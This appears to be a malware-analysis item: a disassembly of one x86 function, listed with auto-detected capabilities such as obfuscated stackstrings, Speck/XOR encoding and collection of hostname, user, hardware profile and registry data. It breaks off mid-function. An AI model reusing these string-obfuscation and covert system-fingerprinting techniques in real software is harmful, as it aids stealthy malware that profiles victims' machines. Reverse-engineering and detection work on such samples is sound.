Function at 0x416de0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using speck
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Parse pe header
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x52423d
push eax
mov eax, 0x2f50
mov dword fs:[0], esp
call fcn.004e7020
push esi
push edi
mov dword [ebp - 0x34], 0
mov dword [ebp - 4], 3
xor edx, edx
mov byte [ebp - 0x18e], 0x5c
mov esi, 0xf
mov byte [ebp - 0x18d], 0x67
mov byte [ebp - 0x18c], 0x65
mov byte [ebp - 0x18b], 0x72
mov byte [ebp - 0x18a], 0x7b
mov byte [ebp - 0x189], 0x69
mov byte [ebp - 0x188], 0x74
mov byte [ebp - 0x187], 0x7d
mov byte [ebp - 0x186], 0x6f
mov byte [ebp - 0x185], 0x7d
mov byte [ebp - 0x184], 0x72
mov byte [ebp - 0x183], 0x77
mov byte [ebp - 0x182], 0x32
mov byte [ebp - 0x181], 0x65
mov byte [ebp - 0x180], 0x68
mov byte [ebp - 0x17f], 0x60
mov byte [ebp - 0x17e], 0x10
mov al, byte [ebp - 0x18e]
mov dword [ebp - 0x18], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x18e]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xe], al
cmp ecx, esi
mov eax, 0x8a95440d
mov edx, 0x8bb51a2e
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0xd]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x18e], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0x11
jb 0x416ea0
lea eax, [ebp - 0x18e]
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x3f8]
call fcn.0048eb20
add esp, 4
mov byte [ebp - 4], 4
xor edx, edx
mov byte [ebp - 0x2d], 0x17
mov byte [ebp - 0x2c], 6
mov byte [ebp - 0x2b], 0x60
mov al, byte [ebp - 0x2d]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0x2d]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xe], al
cmp ecx, 0xf
mov eax, 0x2f5a3361
mov edx, 0x41ef8f97
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x2d], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 3
jb 0x416f12
lea ecx, [ebp - 0x3f8]
call fcn.0040ba70
lea ecx, [ebp - 0x2d]
push ecx
push eax
call fcn.00502370
mov edi, eax
add esp, 8
mov dword [ebp - 0x20], edi
test edi, edi
je 0x419f1a
call fcn.00414fd0
test eax, eax
mov edx, 0x20119
mov ecx, 0x20019
setne byte [ebp - 0xd]
test eax, eax
cmovne ecx, edx
mov dword [ebp - 0x14], ecx
mov ecx, 0x5700f8
call fcn.0040ba70
mov byte [ebp - 0xf2], 0x96
xor edx, edx
mov byte [ebp - 0xf1], 0xb9
mov esi, eax
mov byte [ebp - 0xf0], 0xa5
mov edi, 0xf
mov byte [ebp - 0xef], 0xa8
mov byte [ebp - 0xee], 0xb6
mov byte [ebp - 0xed], 0xb0
mov byte [ebp - 0xec], 0xbb
mov byte [ebp - 0xeb], 0xe9
mov byte [ebp - 0xea], 0xf4
mov byte [ebp - 0xe9], 0xf9
mov byte [ebp - 0xe8], 0xa5
mov byte [ebp - 0xe7], 0xd7
mov byte [ebp - 0xe6], 0xdb
mov byte [ebp - 0xe5], 0xd5
mov al, byte [ebp - 0xf2]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0xf2]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0x50bc96cf
mov edx, 0xdc9a7f43
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx - 0x31]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0xf2], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0xe
jb 0x417010
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0xf2]
push esi
push eax
push edi
call fcn.0040bdd0
push 0
call fcn.0050a4bb
mov dword [ebp - 0x380], eax
lea eax, [ebp - 0x380]
push eax
mov dword [ebp - 0x37c], edx
call fcn.0050a9a3
mov byte [ebp - 0x7b], 0x14
add esp, 0x14
mov byte [ebp - 0x7a], 0x3a
xor edx, edx
mov byte [ebp - 0x79], 0x2e
mov esi, eax
mov byte [ebp - 0x78], 0
mov edi, 0xf
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x40
mov byte [ebp - 0x75], 0x4f
mov byte [ebp - 0x74], 0x16
mov byte [ebp - 0x73], 0x6c
mov al, byte [ebp - 0x7b]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0x7b]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0x1925555d
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x7b], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 9
jb 0x4170b8
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x7b]
push esi
push eax
push edi
call fcn.0040bdd0
mov byte [ebp - 0x50], 0x85
add esp, 0xc
mov byte [ebp - 0x4f], 0xbb
xor edx, edx
mov byte [ebp - 0x4e], 0xb3
mov esi, 0xf
mov byte [ebp - 0x4d], 0xb2
mov byte [ebp - 0x4c], 0xb5
mov byte [ebp - 0x4b], 0xa3
mov byte [ebp - 0x4a], 0xb6
mov byte [ebp - 0x49], 0xd2
mov al, byte [ebp - 0x50]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0x50]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xe], al
cmp ecx, esi
mov eax, 0xc58161d7
mov edx, 0x27f75b5d
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x50], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 8
jb 0x417132
lea eax, [ebp - 0x3b0]
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0040bbc0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x50]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417188
sub ecx, edx
lea eax, [ebp - 0x50]
push ecx
push eax
lea ecx, [ebp - 0x3b0]
call fcn.0040bb00
mov byte [ebp - 4], 7
xor edx, edx
mov dword [ebp - 0x32c], 0
mov byte [ebp - 0x26e], 3
mov byte [ebp - 0x26d], 0x12
mov byte [ebp - 0x26c], 0x13
mov byte [ebp - 0x26b], 0xd
mov byte [ebp - 0x26a], 7
mov byte [ebp - 0x269], 0x19
mov byte [ebp - 0x268], 6
mov byte [ebp - 0x267], 0x11
mov byte [ebp - 0x266], 0xa
mov byte [ebp - 0x265], 0x2c
mov byte [ebp - 0x264], 0xb
mov byte [ebp - 0x263], 0
mov byte [ebp - 0x262], 0x10
mov byte [ebp - 0x261], 0
mov byte [ebp - 0x260], 0x11
mov byte [ebp - 0x25f], 0xd
mov byte [ebp - 0x25e], 6
mov byte [ebp - 0x25d], 0x19
mov byte [ebp - 0x25c], 0x39
mov byte [ebp - 0x25b], 0x2a
mov byte [ebp - 0x25a], 0x12
mov byte [ebp - 0x259], 0x11
mov byte [ebp - 0x258], 0x14
mov byte [ebp - 0x257], 0x10
mov byte [ebp - 0x256], 9
mov byte [ebp - 0x255], 0x16
mov byte [ebp - 0x254], 0
mov byte [ebp - 0x253], 0x12
mov byte [ebp - 0x252], 2
mov byte [ebp - 0x251], 0x17
mov byte [ebp - 0x250], 0xb
mov byte [ebp - 0x24f], 0x72
mov al, byte [ebp - 0x26e]
mov dword [ebp - 0x18], edx
nop word [eax + eax]
mov al, byte [ebp + edx - 0x26e]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xe], al
cmp ecx, 0xf
mov eax, 0xa94b3c57
mov edx, 0x47b11319
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x57]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x26e], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0x20
jb 0x4172a0
lea eax, [ebp - 0x32c]
push eax
push dword [ebp - 0x14]
lea eax, [ebp - 0x26e]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x417428
mov dword [ebp - 0x364], 0x20019
xor edx, edx
mov dword [ebp - 0x368], 0x400
mov byte [ebp - 0xbe], 0xcd
mov byte [ebp - 0xbd], 0xf9
mov byte [ebp - 0xbc], 0xf9
mov byte [ebp - 0xbb], 0xf7
mov byte [ebp - 0xba], 0xf7
mov byte [ebp - 0xb9], 0xfc
mov byte [ebp - 0xb8], 0xf8
mov byte [ebp - 0xb7], 0xd9
mov byte [ebp - 0xb6], 0xe8
mov byte [ebp - 0xb5], 0xf0
mov byte [ebp - 0xb4], 0xf2
mov byte [ebp - 0xb3], 0x9a
mov al, byte [ebp - 0xbe]
mov dword [ebp - 0x18], edx
nop dword [eax]
mov al, byte [ebp + edx - 0xbe]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xe], al
cmp ecx, 0xf
mov eax, 0x886ddb8f
mov edx, 0x7d980f1a
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx - 0x71]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0xbe], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0xc
jb 0x417380
lea eax, [ebp - 0x368]
push eax
lea eax, [ebp - 0x135c]
push eax
lea eax, [ebp - 0x364]
push eax
push 0
lea eax, [ebp - 0xbe]
push eax
push dword [ebp - 0x32c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41741c
lea ecx, [ebp - 0x135c]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417400
sub ecx, edx
lea eax, [ebp - 0x135c]
push ecx
push eax
lea ecx, [ebp - 0x3b0]
call fcn.0048a3c0
push dword [ebp - 0x32c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x3b0]
call fcn.0040ba70
mov byte [ebp - 0x13c], 0x2d
xor edx, edx
mov byte [ebp - 0x13b], 0xd
mov esi, eax
mov byte [ebp - 0x13a], 2
mov edi, 0xf
mov byte [ebp - 0x139], 0xe
mov byte [ebp - 0x138], 8
mov byte [ebp - 0x137], 4
mov byte [ebp - 0x136], 5
mov byte [ebp - 0x135], 0x31
mov byte [ebp - 0x134], 0x38
mov byte [ebp - 0x133], 0x46
mov byte [ebp - 0x132], 0x52
mov byte [ebp - 0x131], 0x5a
mov byte [ebp - 0x130], 0xf
mov byte [ebp - 0x12f], 0x72
mov byte [ebp - 0x12e], 0x72
mov al, byte [ebp - 0x13c]
mov dword [ebp - 0x18], edx
nop
mov al, byte [ebp + edx - 0x13c]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0x8f4caa69
mov edx, 0xf5e9b1ed
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x13c], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, edi
jb 0x4174b0
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x13c]
push esi
push eax
push edi
call fcn.0040bdd0
mov byte [ebp - 0x58], 0x85
add esp, 0xc
mov byte [ebp - 0x57], 0xbb
xor edx, edx
mov byte [ebp - 0x56], 0xb3
mov edi, 0xf
mov byte [ebp - 0x55], 0xb2
mov byte [ebp - 0x54], 0xb5
mov byte [ebp - 0x53], 0xa3
mov byte [ebp - 0x52], 0xb6
mov byte [ebp - 0x51], 0xd2
mov al, byte [ebp - 0x58]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0x58]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0xc58161d7
mov edx, 0x27f75b5d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x58], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 8
jb 0x417532
lea eax, [ebp - 0x398]
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0040bbc0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x58]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417588
sub ecx, edx
lea eax, [ebp - 0x58]
push ecx
push eax
lea ecx, [ebp - 0x398]
call fcn.0040bb00
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x604]
push 0x7c
push 0
push eax
call fcn.004fe500
add esp, 0xc
lea eax, [ebp - 0x604]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x4175ee
lea ecx, [ebp - 0x600]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4175d2
sub ecx, edx
lea eax, [ebp - 0x600]
push ecx
push eax
lea ecx, [ebp - 0x398]
call fcn.0048a3c0
lea ecx, [ebp - 0x398]
call fcn.0040ba70
mov byte [ebp - 0x8f], 0x47
xor edx, edx
mov byte [ebp - 0x8e], 0x5d
mov esi, eax
mov byte [ebp - 0x8d], 0x44
mov edi, 0xf
mov byte [ebp - 0x8c], 0x4f
mov byte [ebp - 0x8b], 0x3c
mov byte [ebp - 0x8a], 0x2d
mov byte [ebp - 0x89], 0x26
mov byte [ebp - 0x88], 0x7c
mov byte [ebp - 0x87], 0xf
mov byte [ebp - 0x86], 0x1d
mov al, byte [ebp - 0x8f]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0x8f]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0x1e1d1407
mov edx, 0x43f150da
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 7]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x8f], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0xa
jb 0x417651
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x8f]
push esi
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
lea ecx, [ebp - 0x508]
call fcn.00415fb0
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0xb
xor edx, edx
mov byte [ebp - 0x2a], 0x1f
mov edi, 0xf
mov byte [ebp - 0x29], 0x4c
mov cl, byte [ebp - 0x2a]
mov dword [ebp - 0x18], edx
nop
mov al, byte [ebp + edx - 0x2a]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0xa3b47547
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x2a], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 2
jb 0x4176d0
lea ecx, [ebp - 0x4f0]
call fcn.00415f10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0xc
xor edx, edx
mov byte [ebp - 0x26], 0x1f
mov esi, 0xf
mov byte [ebp - 0x25], 0x4c
mov cl, byte [ebp - 0x26]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0x26]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xe], al
cmp ecx, esi
mov eax, 0xa3b47547
mov edx, 0xffe320b4
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x26], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 2
jb 0x417733
mov esi, dword [ebp - 0x24]
xor edx, edx
mov byte [ebp - 0x28], 0x1f
mov edi, 0xf
mov byte [ebp - 0x27], 0x4c
mov al, byte [ebp - 0x28]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0x28]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0xa3b47547
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x28], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 2
jb 0x417787
lea eax, [ebp - 0x28]
push eax
lea edx, [ebp - 0x3b0]
lea ecx, [ebp - 0x538]
call fcn.0048eb20
add esp, 4
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x398]
push ecx
mov ecx, eax
call fcn.0048a4f0
push eax
lea ecx, [ebp - 0x490]
call fcn.0040b700
mov dword [ebp - 0x34], 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x26]
mov edi, dword [ebp - 0x1c]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417810
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x490]
call fcn.0048cd70
push eax
lea ecx, [ebp - 0x478]
call fcn.0040b700
mov dword [ebp - 0x34], 0xc
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x478]
push esi
push eax
push dword [ebp - 0x338]
lea ecx, [ebp - 0x460]
call fcn.00492c20
lea eax, [ebp - 0x2a]
mov dword [ebp - 0x34], 0x1c
push eax
lea edx, [ebp - 0x460]
lea ecx, [ebp - 0x520]
call fcn.0048ebb0
mov byte [ebp - 4], 0x11
mov edx, eax
push edi
lea ecx, [ebp - 0x410]
call fcn.0048ee20
add esp, 8
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x520]
call fcn.0040b870
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x520]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x13
mov esi, 0x1c
mov dword [ebp - 0x34], esi
and esi, 0xffffffef
mov dword [ebp - 0x34], esi
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x460]
call fcn.0040b870
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x460]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x17
and esi, 0xfffffff7
mov dword [ebp - 0x34], esi
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x478]
call fcn.0040b870
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x478]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x1b
and esi, 0xfffffffb
mov dword [ebp - 0x34], esi
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x490]
call fcn.0040b870
mov byte [ebp - 4], 0x1f
lea eax, [ebp - 0x490]
mov dword [ebp - 0x340], eax
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x538]
call fcn.0040b870
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x538]
mov dword [ebp - 0x328], eax
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x4f0]
call fcn.0040b870
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0x4f0]
mov dword [ebp - 0x164], eax
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x508]
call fcn.0040b870
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x508]
mov dword [ebp - 0x168], eax
mov byte [ebp - 4], 0x2b
xorps xmm0, xmm0
lea ecx, [ebp - 0xa50]
mov byte [ebp - 0x494], 0
movups xmmword [ebp - 0x4b4], xmm0
movups xmmword [ebp - 0x4a4], xmm0
call fcn.004a8530
mov esi, dword [ebp - 0x400]
lea ecx, [ebp - 0x410]
call fcn.0040ba70
push esi
push eax
lea ecx, [ebp - 0xa50]
call fcn.004a8540
push 0
lea ecx, [ebp - 0xa50]
call fcn.004a8610
lea eax, [ebp - 0x4b4]
push eax
lea ecx, [ebp - 0xa50]
call fcn.004a86e0
mov byte [ebp - 0x85], 0x48
xor edx, edx
mov byte [ebp - 0x84], 0x5f
mov esi, 0xf
mov byte [ebp - 0x83], 0x44
mov byte [ebp - 0x82], 0x4f
mov byte [ebp - 0x81], 0x3c
mov byte [ebp - 0x80], 0x2d
mov byte [ebp - 0x7f], 0x26
mov byte [ebp - 0x7e], 0x7c
mov byte [ebp - 0x7d], 0xf
mov byte [ebp - 0x7c], 0x1d
mov al, byte [ebp - 0x85]
mov dword [ebp - 0x1c], edx
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x85]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xe], al
cmp ecx, esi
mov eax, 0x1e1d1407
mov edx, 0x43f150da
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x1c]
and al, 0xf
lea ecx, [edx + 7]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x85], al
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0xa
jb 0x417a30
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x4b4]
push eax
lea eax, [ebp - 0x85]
push eax
push edi
call fcn.0040bdd0
push 0x104
lea eax, [ebp - 0xb54]
push 0
push eax
call fcn.004fe500
add esp, 0x18
lea eax, [ebp - 0xb54]
push 0x104
push eax
call fcn.00415d10
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x9a], 0xaa
xor edx, edx
mov byte [ebp - 0x99], 0xf8
mov byte [ebp - 0x98], 0xc6
mov byte [ebp - 0x97], 0xd6
mov byte [ebp - 0x96], 0xce
mov byte [ebp - 0x95], 0x94
mov byte [ebp - 0x94], 0x86
mov byte [ebp - 0x93], 0x87
mov byte [ebp - 0x92], 0xd9
mov byte [ebp - 0x91], 0xac
mov byte [ebp - 0x90], 0xa1
mov al, byte [ebp - 0x9a]
mov dword [ebp - 0x1c], edx
nop
mov al, byte [ebp + edx - 0x9a]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xe], al
cmp ecx, esi
mov eax, 0xa18364a1
mov edx, 0xdc471ac3
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x1c]
and al, 0xf
lea ecx, [edx - 0x5f]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x9a], al
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0xb
jb 0x417b10
lea eax, [ebp - 0xb54]
push eax
lea eax, [ebp - 0x9a]
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
lea ecx, [ebp + 8]
call fcn.0040ba70
mov byte [ebp - 0x11e], 0x37
xor edx, edx
mov byte [ebp - 0x11d], 3
mov esi, eax
mov byte [ebp - 0x11c], 0x13
mov edi, 0xf
mov byte [ebp - 0x11b], 0xd
mov byte [ebp - 0x11a], 0x41
mov byte [ebp - 0x119], 0x2e
mov byte [ebp - 0x118], 9
mov byte [ebp - 0x117], 0xa
mov byte [ebp - 0x116], 0x46
mov byte [ebp - 0x115], 0x5c
mov byte [ebp - 0x114], 0x57
mov byte [ebp - 0x113], 0xc
mov byte [ebp - 0x112], 0x76
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x72
mov al, byte [ebp - 0x11e]
mov dword [ebp - 0x1c], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x11e]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0x8f4caa69
mov edx, 0xf5e9b1ed
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x1c]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x11e], al
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, edi
jb 0x417bf0
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x11e]
push esi
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
cmp dword [ebp + 0x60], 0
je 0x417c57
lea ecx, [ebp + 0x50]
call fcn.0040ba70
mov esi, eax
jmp 0x417c5c
mov esi, 0x552980
mov byte [ebp - 0x60], 0x99
xor edx, edx
mov byte [ebp - 0x5f], 0x85
mov edi, 0xf
mov byte [ebp - 0x5e], 0xe2
mov byte [ebp - 0x5d], 0xfc
mov byte [ebp - 0x5c], 0xff
mov byte [ebp - 0x5b], 0xa7
mov byte [ebp - 0x5a], 0xd2
mov byte [ebp - 0x59], 0xd2
mov al, byte [ebp - 0x60]
mov dword [ebp - 0x1c], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x60]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0xc58161d7
mov edx, 0x27f75b5d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x1c]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x60], al
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 8
jb 0x417c90
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x60]
push esi
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
cmp dword [ebp + 0x48], 0
je 0x417cf0
lea ecx, [ebp + 0x38]
call fcn.0040ba70
mov dword [ebp - 0x18], eax
jmp 0x417cf8
mov edi, 0x552980
mov dword [ebp - 0x18], edi
cmp dword [ebp + 0x30], 0
je 0x417d0a
lea ecx, [ebp + 0x20]
call fcn.0040ba70
mov esi, eax
jmp 0x417d0f
mov esi, 0x552980
mov byte [ebp - 0x1a0], 0xec
xor edx, edx
mov byte [ebp - 0x19f], 0xcd
mov edi, 0xf
mov byte [ebp - 0x19e], 0xc1
mov byte [ebp - 0x19d], 0xc8
mov byte [ebp - 0x19c], 0xda
mov byte [ebp - 0x19b], 0xc1
mov byte [ebp - 0x19a], 0xca
mov byte [ebp - 0x199], 0xcd
mov byte [ebp - 0x198], 0x93
mov byte [ebp - 0x197], 0x9f
mov byte [ebp - 0x196], 0x96
mov byte [ebp - 0x195], 0xcc
mov byte [ebp - 0x194], 0x94
mov byte [ebp - 0x193], 0x99
mov byte [ebp - 0x192], 0x9b
mov byte [ebp - 0x191], 0xc1
mov byte [ebp - 0x190], 0xba
mov byte [ebp - 0x18f], 0xb2
mov al, byte [ebp - 0x1a0]
mov dword [ebp - 0x1c], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x1a0]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0xd8453ba7
mov edx, 0x4bdbd2f6
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x1c]
and al, 0xf
lea ecx, [edx - 0x59]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x1a0], al
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0x12
jb 0x417da0
mov edi, dword [ebp - 0x18]
lea eax, [ebp - 0x1a0]
push edi
mov edi, dword [ebp - 0x20]
push esi
push eax
push edi
call fcn.0040bdd0
mov dword [ebp - 0x330], 0
add esp, 0x10
mov byte [ebp - 0x2ef], 0x33
xor edx, edx
mov byte [ebp - 0x2ee], 0x27
mov esi, 0xf
mov byte [ebp - 0x2ed], 0x26
mov byte [ebp - 0x2ec], 0x22
mov byte [ebp - 0x2eb], 0x27
mov byte [ebp - 0x2ea], 0x3e
mov byte [ebp - 0x2e9], 0x2a
mov byte [ebp - 0x2e8], 0x39
mov byte [ebp - 0x2e7], 0x25
mov byte [ebp - 0x2e6], 0x31
mov byte [ebp - 0x2e5], 0x1a
mov byte [ebp - 0x2e4], 0x1f
mov byte [ebp - 0x2e3], 8
mov byte [ebp - 0x2e2], 0x11
mov byte [ebp - 0x2e1], 0xb
mov byte [ebp - 0x2e0], 0x15
mov byte [ebp - 0x2df], 0x16
mov byte [ebp - 0x2de], 0xc
mov byte [ebp - 0x2dd], 0x2c
mov byte [ebp - 0x2dc], 0xd1
mov byte [ebp - 0x2db], 0xe9
mov byte [ebp - 0x2da], 0xe1
mov byte [ebp - 0x2d9], 0xec
mov byte [ebp - 0x2d8], 0xe3
mov byte [ebp - 0x2d7], 0xfe
mov byte [ebp - 0x2d6], 0xff
mov byte [ebp - 0x2d5], 0xa3
mov byte [ebp - 0x2d4], 0xc2
mov byte [ebp - 0x2d3], 0xde
mov byte [ebp - 0x2d2], 0xd2
mov byte [ebp - 0x2d1], 0xcb
mov byte [ebp - 0x2d0], 0xff
